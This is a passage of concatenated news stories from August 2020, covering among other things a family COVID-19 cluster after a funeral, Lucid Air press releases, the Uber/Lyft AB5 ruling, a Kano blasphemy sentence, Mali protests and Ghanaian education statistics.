relatives and neighbors made similar visits, according to the sisters. On the morning of her cousins wake, which a small number of family and friends attended, Williams said she received a message from the relatives husband that he and their son had tested positive for COVID-19 days earlier. By the day of the wake, a young child in our family that had been in the home where my relative was staying, was the first among us to be positive. And so it began, Williams said. From there, she says the virus began spreading like wildfire among those who attended the funeral and beyond. Williams said that now over 40 of her family members and a few friends have tested positive for COVID-19. Those infected ranged from five-month-old twins up to a 77-year-old woman. Both Williams and Brewer also tested positive for coronavirus, and have since recovered. Their mother, Melvina Case, is still battling the deadly disease. Their mother, Melvina Case (left), is still battling the deadly disease. She was rushed to hospital on Monday but has since been released In a post on Williams Facebook page from Monday, August 10 she reveals that Case had to be taken to hospital in an ambulance yet again after suffering unspecified trouble with her chest. She was released hours later. The family had to call an ambulance for Case just four days previous, prompting Williams to write, this is a living nightmare and it just keeps getting worse. Williams and her family, who are split between West Virginia and parts of Kentucky, are being closely monitored by local health departments and their physicians. Each of the COVID-19-stricken family members had to quarantine themselves at home, and several received medical treatment due to worsening conditions. The latest victim of the familial outbreak is a two-year-old girl, who was diagnosed last Sunday after being rushed to Huntington Hospital, in West Virginia, with a high fever. When does it stop? asked Brewer to the Mountain Citizen. When will we reach the point that no one else in our family gets that dreaded call? Brewer, like Williams, was one of the first to be diagnosed with the virus and is since doing much better. She told the Citizen how she has been forced to watch on helplessly while nearly every member of her family young and old has had to fight the virus. Some had milder symptoms, while others were sick for days and required in-patient treatment. I think Ive handled everything as well as could be expected until this evening, Brewer said. But when I got the call that my sweet granddaughter was ill and on her way to the hospital, I lost it. Shes just two years old. She doesnt understand why shes sick. And with so many in our family ill, we dont even know who will be able to take care of her. Stella Brewer (left) tested positive for the virus in the days afterward. As did Polly Williams and her boyfriend Mark Heath (shown right) Williams too said shes struggled to cope with the turbulence her family has endured over the last few weeks. Ive been angry, Ive been scared, and Ive been stressed and worried out of my head. Through it all, Ive tried to keep my emotions in check. But to look around and see family member after family member falling victim to this virus is more than I can handle, she said. Williams called the actions of her relative who flew in for the funeral knowingly infected with the virus as, selfish and unforgivable. I understand that my relative lost a close family member. I get that. My heart breaks for her. But to get on a plane while youre ill and travel to another state, knowing full well you could infect everyone you are around is, in my opinion, selfish and unforgivable. The very least she could have done was to wear masks and gloves and warn all of us to stay away, that she was ill. What happened was a total disregard for anyone. It didnt matter if it was strangers on a plane or her own family, she withheld information that has endangered all our lives, and we are paying the price. Williams said she hope to share her story to ensure people understand the dangers of not quarantining and exposing others to COVID-19. We wouldnt have thought badly of my relative at all if she had said she was sick. We would have loved her through it. We would have done everything possible to help her, Williams said. Instead, she knowingly exposed all of us to this horrible, frightening disease, never giving us a chance to protect ourselves. We are scared to death that its going to cost someone their life before its done. Vologda Region lawyer gets 3-year suspended term for $14k fraud attempt RAPSI, Vladimir Burnov 12:52 11/08/2020 MOSCOW, August 11 (RAPSI) A court in Russias Vologda has given a 3-year suspended sentence to a regional lawyer for attempt to fraudulently receive 1 million rubles (abut $14,000) from a client, the press service of the Investigative Committees regional directorate reports. The attorney has been found guilty of attempted fraud. He has been additionally sentenced to a 2-year probation after release. According to the investigation, in April 2019, the defendant rendered legal assistance to a man checked by police over fraud report. The attorney told the client that he could help stop the check and provide dismissal of a criminal case initiation for 1 million rubles. Lucid Air Luxury Sexy $160,000 Electric Sedan - Private Jet Interior, Formula E 500 Miles Range, Electrifying NEWARK, CA, August 11, 2020 Lucid Motors, which seeks to set new standards for sustainable transportation with its advanced luxury EVs, today announced independent range verification of 517 miles on a single charge for its forthcoming Lucid Air all-electric sedan. This new benchmark range was secured with FEV North America, Inc. in Auburn Hills, Michigan, applying the EPA's Multicycle Test Procedure (SAE J1634 Oct 2012 Standard) with the standard adjustment factor. The results confirm that the Lucid Air is the longest range electric vehicle to date. Im delighted that the Lucid Air has been independently verified by FEV to achieve an estimated EPA range of 517 miles, and that this landmark in the history of EV development has been achieved entirely through Lucids in-house technology, said Peter Rawlinson, CEO and CTO of Lucid Motors. I believe that our 900-volt architecture, our race proven battery packs, miniaturized motors and power electronics, integrated transmission systems, aerodynamics, chassis and thermal systems, software, and overall system efficiency has now reached a stage where it collectively sets a new standard and delivers a host of worlds firsts. Independent Verification of New Range Record FEV is a leading independent, international engineering service provider of vehicle and powertrain development for hardware and software, with service offerings that include range certification. FEVs exhaustive verification process closely follows the official EPA standard testing procedure and has been executed for several leading vehicle manufacturers. Lucid conducted thousands of miles of real-world range testing, and FEVs results validate these endeavors. FEV has tested many vehicles across a wide range of consumer and industrial use cases, with electric vehicle development and testing as one of our core competencies, said Dean Tomazic, CTO, FEV North America, Inc. We are impressed by the pace of progress in this area, as exemplified by our testing of the Lucid Air, and are proud to play a vital role in the development of e-mobility. In-House Technology Optimizing Every Aspect The FEV range estimate closely matches Lucids computer-modeled range prediction. Lucid achieved this result through proprietary technology along with careful engineering of every aspect of the Airs performance and efficiency. Starting with the in-house development of an industry-leading drivetrain, Lucid miniaturized and integrated the Airs motors, transmission and inverter, and paired this with an ultra-high, 900+ volt architecture to achieve unmatched compactness and efficiency. In creating the Airs battery packs, Lucid drew upon 10 years of experience and over 20 million miles of real-world testing. In addition, the expertise of Lucids technology division, Atieva, played a large role, as it supplies battery packs for the entire field of the Formula E racing series since 2018 and continuing through 2022. The result is a battery system for Lucid Air that provides unparalleled safety, performance, and energy density in a form sculpted around the occupant cabin. Range and efficiency are widely recognized as the most relevant proof points by which EV technical prowess is measured. A few years ago we revealed our alpha prototypes of the Lucid Air and promised over 400 miles range; a reflection of our technology at that time. In the intervening period we have achieved a series of technological breakthroughs, culminating in an unsurpassed degree of energy efficiency. I am therefore pleased that we have consequently achieved an estimated EPA 517 miles of range today whilst also significantly reducing our battery packs capacity, thereby reducing vehicle weight and cost, and improving interior space. Such exceptional efficiency, achieved through in-house technology, is undeniably a measure of a true EV tech company, added Rawlinson The production version of the Lucid Air will debut in an online reveal on September 9, 2020. In addition to the vehicles final interior and exterior designs, new details about production specifications, available configurations, and pricing information will also be shared. Lucid DreamDrive, an Advanced Driver-Assistance System that Debuts in the Lucid Air Lucid Motors, which seeks to set new standards for sustainable transportation with its advanced luxury EVs, today announced Lucid DreamDrive, a new benchmark in advanced driver-assistance systems (ADAS). The first-of-its-kind platform combines the most comprehensive sensor suite on the market with a cutting-edge driver monitoring system, all standard on the first versions of the Lucid Air. Taken as a whole, Lucid DreamDrive signals Lucids intent to deliver sophisticated assisted driving capabilities in its vehicles. When customer deliveries of the Lucid Air begin in early 2021, the pure-electric luxury car is expected to be the first to market with the combination of a driver monitoring system and a sensor suite that includes high-resolution LIDAR, fitting these future-proofed technologies as standard equipment. The Lucid DreamDrive technology suite supports 19 key safety, driving, and parking assist features that will be available on Lucid Air immediately upon start of production, with another eight features expected to be available later via over-the-air (OTA) updates. Additional DreamDrive capabilities to enable Level 3 driving in certain conditions are also in development. We have developed Lucid DreamDrive to be among the most advanced ADAS to ever be offered to consumers, said Dr. Eugene Lee, Senior Director, ADAS and Autonomous Driving, Lucid Motors. By prioritizing safety and updatability, Lucid DreamDrive also sets the stage for offering increasingly sophisticated driver assistance features. We have ensured that the Lucid DreamDrive hardware and software platform not only offers a full suite of Level 2 features, but is also Level 3 ready, which means well be able to quickly add features and functions over-the-air throughout the lifetime of Lucid Air and for future Lucid models. Lucid Air will come to market with 32 sensors comprised of the latest camera, radar and ultrasonic sensors, as well as a long-range, high-resolution LIDAR placed at the front of the car. Also included in this multimodal sensor suite is an in-car driver monitoring system designed to share relevant information with the driver while ensuring their necessary attention to the driving configuration. As with the vehicles other software systems, upgrades will be delivered over-the-air throughout the lifetime of the car, including new ADAS functionality and service offerings. Lucid DreamDrive is also the first ADAS system built upon a high-speed Ethernet Ring, a unique cornerstone of Lucid Airs advanced electric architecture, which additionally serves as a fully redundant platform for key functions such as steering, brakes, sensors, and more. This includes redundant independent power sources and communications paths, fail-operational actuators, and fault-tolerant computation. Lucid Motors is laser-focused on delivering the worlds best luxury car, embodying the most advanced powertrain and safety systems possible, all designed and developed in-house, said Peter Rawlinson, CEO and CTO, Lucid Motors. Our customers expect that philosophy to extend to the Lucid Airs ADAS, and for that weve developed a highly advanced, future-proof system that brings forth an unparalleled combination of sensors and software. Lucid worked with key commercial partners for Lucid DreamDrives best-of-breed hardware systems, including Here, Continental, and Bosch. However, the work of integrating these systems into Lucid DreamDrive is conducted entirely in-house. The key features delivered by Lucid DreamDrive include, but are not limited to: Safety: Surround View Monitoring Blind Spot Display Cross Traffic Protection Traffic Sign Recognition Automatic Emergency Braking Alerts for distracted or drowsy drivers Driving: Full Speed Highway Assist (a combination of Adaptive Cruise Control and Lane Centering) Traffic Drive-Off Alert Headlight Assist Parking: Autonomous Parking Assist Pullout Control Maneuver Comfort Braking University Challenge viewers have swooned over a contestant from last night's episode, saying he might be the show's most handsome player ever. Joshua Mutio, from St Helen's in Merseyside helped his team from Birckbeck, University of London beat Reading University 295 - 60, by answering questions on musicals, US politics and physics. But it was the looks of the Politics, Philosophy and Economics Masters student that caught viewers' eyes, with many taking to Twitter to comment on his cool exterior, some going as far to say he could be the next James Bond. Joshua Mutio, from St Helen's in Merseyside helped his team from Birckbeck, University of London beat Reading University 295 - 60, by answering questions on musicals, US politics and physics The Politics, Philosophy and Economics Masters student (pictured) caught viewers' eyes, with many taking to Twitter to comment on his cool exterior, some going as far to say he could be the next James Bond 'Is Mutio of the Handsomest Person of the series so far? Answer: *SWOON*' said one. 'My wife is finding Mutio so cool were having to put the central heating on,' added another. 'Good evening to and Mutio only,' commented a third. The student will advance to the second round of the competition, after getting the highest score in the series so far. They will be joining the University of Glasgow, University of Durham, The Open University, and University of Strathclyde. The student, pictured, will advance to the second round of the competition, after getting the highest score in the series so far Viewers swooned over PPEist Joshua Mutio (far right) who helped his team answers questions of astronomy, geography and nature Viewers loved the appearance of 'cool' and 'handome' Mutio, with one saying 'Is Mutio of the Handsomest Person of the series so far?' The next round will no doubt be watched by Mutio's new found fans, who said he was 'incredibly cool' and looked like he stepped on a catwalk. 'Mutio models in his spare time,' said one. 'Mutio is possibly the coolest cucumber,' added another. 'Mutio is so hot,' commented a third. 'Turn up for University Challenge quizzing in the morning and heading off for James Bond auditions in the afternoon,' another wrote. 'In all seriousness. If theyre looking for a new James Bond look no further than this bloke' tweeted a fifth. Birkbeck (pictured bottom) will be joining the University of Glasgow, University of Durham, The Open University, and University of Strathclyde. They beat University of Reading (top) The next Bond? Viewers joked that Mutio's cool composure made him seem like a spy, and even said he could be the next 007 Viewers said the player was the most handsome in the series so far, and even said he was 'incredibly cool' Birkbeck University, who won the competition in 2003, was founded in 1923 by Dr George Birkbeck who championed the cause of education for working people. It is now part of the University of London with a student body of around 13,000 pupils and mostly has evening classes allowing students to work alongside their study. The University of Reading, who only scored 50 points, has alumni including Jamie Cullum and Wilfred Owen. Their team had an average age of 37 and was lead by Lesley Rees, from Boston in Lincolnshire who is studying speech and language therapy. Tunis, Tunisia (PANA) - The newly-appointed Tunisian Prime Minister, Hichem Mechichi, threw some light on the nature of the next government, saying he will form a government team of technocrats Scientists develop first quantum algorithm to characterize noise across large systems Noise is the main obstacle to building large-scale quantum computers. To tame the noise (interference or instability), scientists need to understand how it affects an entire quantum system. Until now this information was only available for very small devices or subsets of devices. Work by Dr Robin Harper and colleagues published today in Nature Physics develops algorithms that will work across large quantum devices. They demonstrate this by diagnosing the noise in an IBM Quantum Experience device, discovering correlations in the 14-qubit machine not previously detected. Dr Harper said: "The results are the first implementation of provably rigorous and scalable diagnostic algorithms capable of being run on current quantum devices and beyond." Dr Harper is a postdoctoral researcher at the University of Sydney Nano Institute and part of the Australian Research Council Centre of Excellence for Engineered Quantum Systems. ### INTERVIEWS Dr Robin Harper | robin.harper@sydney.edu.au Professor Steven Flammia | steven.flammia@sydney.edu.au MEDIA ENQUIRIES Marcus Strom | marcus.strom@sydney.edu.au | +61 423 982 485 DECLARATION This work was supported in part by the US Army Research Office, the Australian Research Council Centre of Excellence for Engineered Quantum Systems (EQUS), the Government of Ontario, and the Government of Canada through the Canada First Research Excellence Fund (CFREF) and Transformative Quantum Technologies (TQT), the Natural Sciences and Engineering Research Council (NSERC), Industry Canada. RESEARCH ARTICLE available on request. 'Efficient learning of quantum noise', Nature Physics, DOI: 10.1038/s41567-020-0992-8 Authors: Robin Harper1, Steven Flammia1,2 and Joel Wallman3,4 1 Centre for Engineered Quantum Systems, School of Physics, University of Sydney 2 Yale Quantum Institute, Yale University, USA 3 Institute for Quantum Computing, University of Waterloo, Canada 4 Quantum Benchmark Inc, Kitchener, Ontario, Canada This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. A California judge on Monday ruled that the ride-hailing companies Uber and Lyft have to classify their drivers in the state as employees, not independent contractors. AB5, a new California labor law that went into effect Jan. 1, makes it harder for companies to misclassify workers who should be considered employees, and thus eligible for minimum wage and overtime. California is the largest market in the U.S. for Uber and Lyft, and in May, the state filed a lawsuit against the companies, accusing them of violating AB5. Judge Ethan Schulman said there was an "overwhelming likelihood" the companies have been wrongly classifying drivers as contractors instead of employees, and issued a preliminary injunction. He delayed the order by 10 days so Uber and Lyft can have the opportunity to appeal. Even though nothing will change immediately, this ruling is "huge," Veena Dubal, an associate law professor at the University of California Hastings, told The Guardian. "This is the closest thing in eight years the judiciary has come to enforcing labor rights in the gig economy." More stories from theweek.com Donald Trump's impotent tyranny Protesters, police clash during 2nd night of protests over disputed Belarus election Trump says the 1918 flu pandemic began in 1917, 'probably ended the Second World War' By Ramatu Garba An Upper Sharia Court sitting in Kano on Monday, sentenced a 30-year-old man, Yahaya Sharif-Aminu, to death by hanging after his conviction for blasphemy. Aminu was found guilty for an audio post made on WhatsApp in February. The convict , who resides at Sharifai Quarters of Kano Municipal, was dragged before the court by the police on a count charge of inciting religious creed contrary to section 382 (6) of Kano State Sharia Panel Code Law 2000. The trial Judge, Khadi Muhammad Ali-Kani, said the offence was against the Islamic Law. Ali-Kani, thereafter, sentenced the convict to death by hanging under section 382 (b) of Kano State State Sharia Panel Code Law 2000. The Prosecution Counsel, Insp. Aminu Yar-Goje, had earlier told the court that the convict committed the offence on Feb. 28. Yar-Goje alleged that on the same date at about 8:00 p.m. and 11:50 p.m, the convict with the intention to hurt the feelings of Muslims faithful, made a blasphemous post via a WhatsApp group platform named: Gidan Umma Abiha. The convict made blasphemous and degrading audio remarks against Prophet Muhammad (PBUH), he said. In his submission before the court, Sharif-Aminu pleaded guilty to the charge. The court had also sentenced a 17-year-old man, Umar Faruk, to 10-years imprisonment for alleged derogatory remarks on Allah, during a debate on March 4. The convict, Faruk voluntarily pleaded guilty to the charge. The trial Judge, Khadi Muhammad Ali-Kani, said the offence contravened Islamic Law, and sentenced the convict to 10-years imprisonment under section 382 (b) of Kano State Panel Code Law 2000. The court also granted 30-day grace to appeal the judgment. Related The Maharashtra government has decided to accord a state funeral to Captain Deepak Sathe, pilot-in-command of the ill-fated Air India Express plane that crashed in Kerala last week, Chief Minister Uddhav Thackeray's Office said on Tuesday. The funeral of Captain Sathe, 58, who was a resident of Chandivali in Mumbai, will be held in Mumbai later in the day. Lauding Sathe, the Chief Minister's Office (CMO) said his life shall inspire young pilots to achieve the 'Sword of Honour'. The Air India Express flight from Dubai with 190 people, including a six-member crew, overshot the tabletop runway during landing at the Kozhikode airport in heavy rain on Friday, fell into a valley 35 feet below and broke into two, killing 18 people, including both pilots. 'The State has decided to accord a state funeral to the late Wing Commander (Retd) Captain DV Sathe. His life has been one that shall inspire many more young pilots to achieve the Sword of Honour and command over the skies,' the CMO tweeted. After the plane crash, his Captain Sathe's wife Sushma and one of their sons had gone to Kerala to collect his mortal remains, which were brought here in a flight on Sunday. The body was then kept at the Air India facility near Terminal 2 of the Chhatrapati Shivaji international airport in Mumbai for some time before being taken to Bhabha Hospital. Sathe was a former Wing Commander of the Indian Air Force (IAF) and had served at the force's flight testing establishment. He survived an air crash in the early 1990s when he was in the Air Force and was hospitalised for six months, his cousin earlier said. Sathe had suffered multiple injuries on his skull in that incident, but due to his strong will power and passion he cleared the test and started flying again, he said. Captain Sathe's father Brigadier Vasant Sathe (retired) and his wife live in Nagpur. The body of co-pilot Akhilesh Kumar was cremated on Sunday in the presence of his family members and officials of Air India and Air India Express at his hometown Mathura. The airline on Sunday said the mortal remains of 16 passengers killed in the plane crash have been handed over to their families, and added that authorities were investigating the accident. Buncombe sheriff hires Blake as chief deputy Hendersonville Police Chief Herbert Blake will become chief deputy for the Buncombe County sheriff's office. [LIGHTNING FILE PHOTO] The resignation of Hendersonville police Chief Herbert Blake is a mystery no more. One day after the city announced Blake's resignation with no explanation, Buncombe County Sheriff Quentin Miller announced that he had hired Blake as his chief deputy. Blake has served as Hendersonville's police chief for 12 years and prior to that as police chief of Loris, South Carolina, for seven years. He has a total of 25 years of full-time experience in law enforcement and also trained as a law enforcement specialist with the U.S. Navy. Chief Blake has led the Hendersonville PD in a professional and responsive manner for the last 12 years," Miller said in a news release. "Both law enforcement professionals and the community he served in Hendersonville will tell you he is well-respected and appreciated. It took me some time to get Chief Blake to leave a good situation and I am excited about the opportunity to work with him in serving the people of Buncombe County and working together toward implementing 21st Century policing." During Chief Blakes leadership the Hendersonville Police Department implemented body cams to increase accountability, put in place a duty to intervene policy, a ban on chokeholds and strangleholds and comprehensive reporting of use of force, including any physical contact or presentation of a weapon. Blake has also been a vocal proponent of de-escalation and officer training. "We review every use of force," he said. "Theres a comprehensive document that we have. And if we make mistakes, we correct the mistakes. Along with the city administration and elected council, Blake won praise for working closely with organizers of a Unite for Peace march downtown on June 6 when rallies protesting the May 25 death of George Floyd in police custody had turned violent in other cities. One of the organizers as the rally got under way thanked Blake and the sheriff's office for working with her and other organizers to ensure the event would remain peaceful and that protesters would be protected. Hendersonville is a wonderful city. And I am proud of the many service oriented initiatives we implemented with the men and women of HPD during my stewardship there," Blake said in a statement. "Still, having an opportunity to serve in a leadership position with Sheriff Miller at the Buncombe County Sheriffs Office during this important time in society presents a unique professional opportunity. I look forward to serving with the men and women of the Buncombe County Sheriffs Office. I know they, like Sheriff Miller, are eager to excel and make a positive difference in Buncombe County." Blake holds a B.S. in Criminal Justice Administration from Park University and a Master's Degree in Management from Webster University. Blake also graduated from the Public Executive Leadership Academy at the School of Government at UNC Chapel Hill, the Police Executive Development Programs at Penn State University and the Executive Management Program of Northwestern University. He has been married to Linda Blake for 33 years. Hendersonville City Manager John Connet plans to name an interim police chief before Blake departs on Aug. 21 and then launch a search for his replacement in consultation with the City Council. "We'll open it up for applications and post and do a nationwide search, open it up externally and internally and look for the best candidate," he said. "I'm looking for an interim now." Thiruvananthapuram, Aug 11 : In a passionate plea to former Congress president Rahul Gandhi, Leader of Opposition in Kerala and top party leader Ramesh Chennithala on Tuesday wrote to the former that he is the only alternative to Prime Minister Narendra Modi's authoritarian regime. "The only opposition and the only alternative to Modi's authoritarian regime is Rahul Gandhi. In these times, where even some of the mainstream media houses have become partisan and pro power, your good self has been successful in waging a lonely battle against the Modi-Amit Shah duo," said Chennithala in his letter to Gandhi. "The grassroots level workers are eagerly waiting for Rahulji to take over the reins of the party. This will infuse unmatched enthusiasm among our cadres and will catapult our party towards recapturing the past glory," said Chennithala. Chennithala adds that they are going through an unprecedented crisis and Sonia Gandhi has been struggling, despite her health issues, to rudder this boat through these tempestuous times. "But to match the crookedness and the robustness of the BJP, we need to have your young and dynamic leadership at the helm of affairs. The nation had appreciated the highest democratic principles shown by your good self while abdicating the presidentship of Congress party, taking up the moral responsibility for UPA's debacle in 2014 general elections. However it's time for you to kindly reconsider your decision. The Assembly elections to Bihar and five other states are due in nine months time," notes Chennithala. He ends his letter by saying that this is an appeal to your good self on behalf of all the Congress Workers and the secular and liberal citizenry of this great nation to take over the reins of the party and lead us in this struggle to re-discover the spirit of India. Gandhi is the Wayanad Lok Sabha member and this letter comes at a time when Kerala has its Assembly elections in May 2021. - Just recently, a little girl with unique blue eyes got people on social media marveling after her photos went viral - It was reported that the young girl and her mother were abandoned by their father because of the colour of their eyes - New transformation photos of the girl with her family recently made rounds on social media exciting may netizens Social media has been very instrumental in changing the lives of people after their interesting stories or lifestyle become public knowledge. Just recently, a young girl and her mother went viral after photos of them made the rounds online. READ ALSO: Actor Sylvester Stallone selling his multi-million stretched Cadillac Escalade for KSh 35 million Photos of Kaosarat with her mother Risiqot, as they showcase their unique eye colour. Photo: Alabi Rukayat Oyindamola / Facebook. Source: Facebook READ ALSO: Joey Muthengi discloses she stopped eating to maintain dream body for TV There is nothing special about the photos of a mother with her daughter but this particular family possesses unique features. TUKO.co.ke had earlier reported how the young girl, her sister and mother were abandoned by her father because of the colour of their eyes. The girl identified as Kaosarat and her mother Risiqot, had unique blue eyes that was strange for a pure African to possess. After their photos went viral, a popular photographer, Mofe Bamuyiwa, got in touch with them to capture their beautiful features. READ ALSO: Serge Aurier: Brother of Spurs star Christopher shot dead in France New photos of Risiqot, Kaosarat and her younger sister Hassanat were posted and social media users could not help but gush over them on end. The photographer revealed that the mother and her children were sent away by her husband because of their eyes. Risiqot also revealed to the photographer that Hassanat had a twin brother who had brown eyes but he passed on. The young mother was also said to have revealed that she is not willing to change her eyes colour from blue to brown even if technology was invested for it. READ ALSO: Mwanamke Mkenya afariki dunia baada ya kugonjwa na lori Marekani TUKO.co.ke had earlier reported on how Risiqot and her daughters were discovered. A young Nigerian lady identified on Facebook as Alabi Rukayat Oyindamola took to the social networking site to recount how she met the young girls who had unique eyes. According to her, she traveled to her hometown in Ilorin for the Eid celebration when she sighted the siblings. Rukayat said that their names are Kaosara and Hassanat. Hassanat happens to be a twin but her brother passed away due to lack of proper care. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. I married a man every woman wanted - Pastor Joan Chege | Tuko Talks | Tuko TV Source: TUKO.co.ke Education Minister Dr Matthew Opoku Prempeh on Tuesday told Parliament that the current political administration met huge outstanding bills under the leadership of Professor Jane Naana Opoku-Agyemang, then Minister of Education. Prof Opoku-Agyemang is the Vice-Presidential Candidate, partnering former President John Dramani Mahama, the Presidential Candidate of the opposition National Democratic Congress (NDC) in Ghana's Election 2020. According to Dr Prempeh there was outstanding bill of approximately GHS9m on Capitation Grant, GHS4m on Feeding Grant for Special Schools, GHS14m on exercise books to basic schools, and GHS4m on the supply of school uniforms among many others. Moreover, there were delays in the disbursement of capitation and feeding grants for Special Schools effecting the effective operation of the schools. However, the Minister said within the period, Government has cleared all the arrears and ensured timely release of capitation and feeding grants for Special Schools. In a statement to the House on education and teacher reforms, the Minister applauded the governing New Patriotic Party (NPP), saying the achievements in the education sector, with particular focus on access, equity, quality and teacher education, speak for themselves. Dr Prempeh said prior to the assumption of the governing NPP to power, learning outcomes were low across our pre-tertiary levels of education. He cited as an example that both in 2013 and 2015 Early Grade Reading Assessment (EGRA) and Early Grade Mathematic Assessment (EGMA) results showed that by the end of P2, only two per cent or less of pupils can read with fluency and comprehension, whilst majority of pupils did not perform well in mathematics beyond the procedural level. In the National Education Assessment (NEA) conducted in 2016, only 11 per cent of Primary six pupils were proficient in Mathematics. However, the Minister indicated that it was heartwarming to note that the well thought out initiatives pursued since 2017 were beginning to yield results. He explained that in the 2018, the National Education Assessment proficiency rate in Mathematics increased from 11 per cent in 2016 to 22 per cent in 2018. At the secondary level, performance in WASSCE was poor. From 2011 to 2016, approximately 75 per cent of all candidates failed to achieve qualification for tertiary education. In 2015, approximately 49 per cent of candidates scored F9 in mathematics and 37 per cent of candidates scored F9 in Integrated Science. To improve performance, the Government had invested in the supply of relevant instructional resources to schools, recruited and deployed teachers, provided in-service training to teachers with a focus on mathematics and science, and strengthened school leadership and management. In 2019, pass rate in Mathematics reached 65 per cent, the highest ever since the exam was introduced decades ago. Dr Prempeh, said the proportion of students that score F9 in mathematics had declined from 45 per cent in 2015 to 14 per cent in 2019. In integrated Science, pass rate increased from 48 per cent in 2016 to 63 per cent in 2019. Proportion of students that score F9 in Integrated Science declined from 37 per cent in 2015 to 10 per cent in 2019. GNA San Francisco, Aug 11 : Google in collaboration with Stanford University has launched a global Covid-19 map that makes it possible for journalists to embed up-to-date visualisations of the pandemic on their sites for readers. Unlike other coronavirus case maps, the 'Covid-19 Global Case Mapper' allows local reporters to embed a map of their area or even a national case map. The map shows cases in relation to population. "It's coloured by numbers of cases per 100,000 people over the past 14 days and shows you the severity of outbreak by the number of people in each location, making it easier to compare where you live to the world as a whole," said Simon Rogers, Data Editor, Google News Lab. Earlier this year, the team launched a US version of the map. The new version expands that embeddable view across the globe through data for 176 countries in addition to the US, plus additional state and regional data for 18 countries. The team has used Google Translate so the experience can be viewed in more than 80 languages. The data is from the New York Times' open Covid-19 county dataset and the Covid-19 Data Repository by the Center for Systems Science and Engineering (CSSE) at Johns Hopkins University and is updated daily. Stanford University's Big Local News and Pitch Interactive has launched the new global map with support from the Google News Initiative (GNI). "More in-depth, country-level data will be added over time as the map is developed further and as journalists around the world use it to explain how the pandemic has spread," Rogers said in a statement on Monday. The overall number of global coronavirus cases has surpassed the 20 million mark, while the deaths have increased to over 734,000, according to Johns Hopkins University. Demonstrators are calling for the resignation of President President Ibrahim Boubacar Keita as mediation stalls. Opposition supporters have again taken to the streets of Malis capital to demand the resignation of President Ibrahim Boubacar Keita, ignoring pleas from regional mediators trying to defuse a deepening political crisis to stay home. Thousands of protesters took to Bamakos Independence Square on Tuesday, blowing vuvuzela horns and carrying placards bearing anti-government slogans such as, We want real change in Mali, IBK [Ibrahim Boubacar Keita] out. The so-called June 5 Movement a disparate alliance of political, social and civil-society groups that has staged at least two mass anti-government rallies before has for weeks stuck to its core demand for Keitas departure. Although dissatisfaction over Malis financial troubles, corruption and worsening security situation has been simmering for a while, the spark for the current crisis was a decision by the Constitutional Court in April to overturn the results of parliamentary polls for 31 seats, in a move that saw candidates with Keitas party get re-elected. The protests turned violent on July 10 when at least 11 people were killed in clashes between security forces and protesters in the worst political strife Mali has seen in years. Tuesdays demonstration, the first after a temporary truce was announced last month before the Eid festival, went forward despite pleas from Goodluck Jonathan, the mediator for Malis crisis for the Economic Community of West African states (ECOWAS). Demonstrations do not solve problems per se, Jonathan, a former Nigerian president, told a news conference on Monday evening, adding that opposition figures needed to enter a dialogue. Encouraging more demonstrations is just exposing young people to big risk, he said. People could die in the process. Proposals rejected The 15-nation ECOWAS bloc has previously sent a high-level mission to the country and suggested several proposals for mediation, including the formation of a new unity government. The bloc has remained supportive of Keita staying in office. But the June 5 Movement, which is led, in part, by influential Muslim cleric Mahmoud Dicko, has so far rejected those proposals. On Monday, Keita, who first came to power in 2013, swore in nine new judges to the Constitutional Court, part of an ECOWAS suggestion for resolving the dispute. Al Jazeeras Nicolas Haque, who has reported extensively on Mali, noted that the new judges had been nominated by a Keita ally. Absent [from Mondays swearing-in ceremony] were the June 5 Movement and their leaders, who were not involved in the decision on who these judges will be, said Haque. The appointments, he said, added fuel to the fire in this feeling amongst protesters that Keita is abusing power by bringing allies close to him. Devolving security situation The increasing mediation efforts by ECOWAS in Mali underscore that regional leaders are eager to avoid further instability in the country of some 20 million people. Mali has been plagued by an eight-year conflict that began as a separatist movement in the north but soon devolved into a multitude of armed groups jockeying for control in the countrys central region. The insecurity has spilled into neighbouring Burkina Faso and Niger, with groups exploiting the poverty of marginalised communities and inflaming tensions between ethnic groups. Attacks grew fivefold between 2016 and 2020, with 4,000 people killed in the three countries last year, up from about 770 in 2016, according to the United Nations. The fighting has also forced hundreds of thousands of people from their homes and led to the closure of thousands of schools. In central Mali, the presence of a massive UN peacekeeping mission, and other foreign troops, has failed to stem the violence, while allegations of abuses and extrajudicial killings by Malian forces have further perpetuated deep-rooted mistrust and enmity in parts of the country with little government presence otherwise. And so, it looks like they will pack up the minivan this month and relocate to Daviss childhood home in Lincoln, Neb., where they enrolled the older girls in school. There, the girls will have a backyard, a grandmother to help them and, most important to Davis, a school that is meeting in person. At least for now. If the schools there go remote, at least shell have her mother to help, she said. Pune (Maharashtra) [India], Aug 11 (ANI/Digpu): The use of the internet and social media have changed consumer behavior and the ways in which companies conduct their business. Social and digital marketing offers significant opportunities to organizations through lower costs, improved brand awareness and increased sales. However, significant challenges exist from negative electronic word-of-mouth as well as intrusive and irritating online brand presence. Symbiosis Institute of Business Management, Pune a constituted of Symbiosis International (Deemed University) along with Swansea University, United Kingdom jointly hosted an international webinar on the topic 'Setting the Future of Digital and Social Media Marketing Research: Perspectives and Research Propositions'. The webinar went live on YouTube on 10th August 2020. The webinar was supported by International Journal of Information Management and Digital Marketing and Analytics (Special Interest Group) of Academy of Marketing. This international webinar brought together the collective insight from several leading experts on issues relating to digital and social media marketing. The experts' perspectives (drawing upon arguments and discussion presented in a recent article by Dwivedi et al., 2020-https://tinyurl.com/y562ce9w) offered a detailed narrative on key aspects of this important topic as well as perspectives on more specific issues including artificial intelligence, augmented reality marketing, digital content management, mobile marketing and advertising, B2B marketing, electronic word of mouth and ethical issues therein. This international webinar would offer insights to both researchers and practitioners in the form of challenges and opportunities and also highlighted the limitations within the current research and research gaps. Professor of Digital Marketing and Innovation and Director of Emerging Markets Research Centre (EMaRC) & Co-Director of Research School of Management, Swansea University, Bay Campus UK along with Prof. Dr Ramakrishnan Raman Director SIBM Pune and Dean Faculty of Management, Symbiosis International (Deemed University) were the chair for the International webinar. Prof Yogesh Dwivedi delivered the welcome address and Dr Raman gave the opening remarks. Prof. Sandeep Bhattacharya from SIBM Pune was the anchor for the webinar and engaged in discussion with all the speakers. The speakers for the webinar were from universities across the globe including Dr Anabel Gutierrez, Senior Lecturer in Digital Marketing, University of Kent, UK; Dr Jenna Jacobson, Asst Professor of Retail Management, Ryerson University, Canada; Prof Varsha Jain, Professor of lntegrated Marketing Communication, MICA, lndia ; Dr Brendan James Keegan, Senior Lecturer in 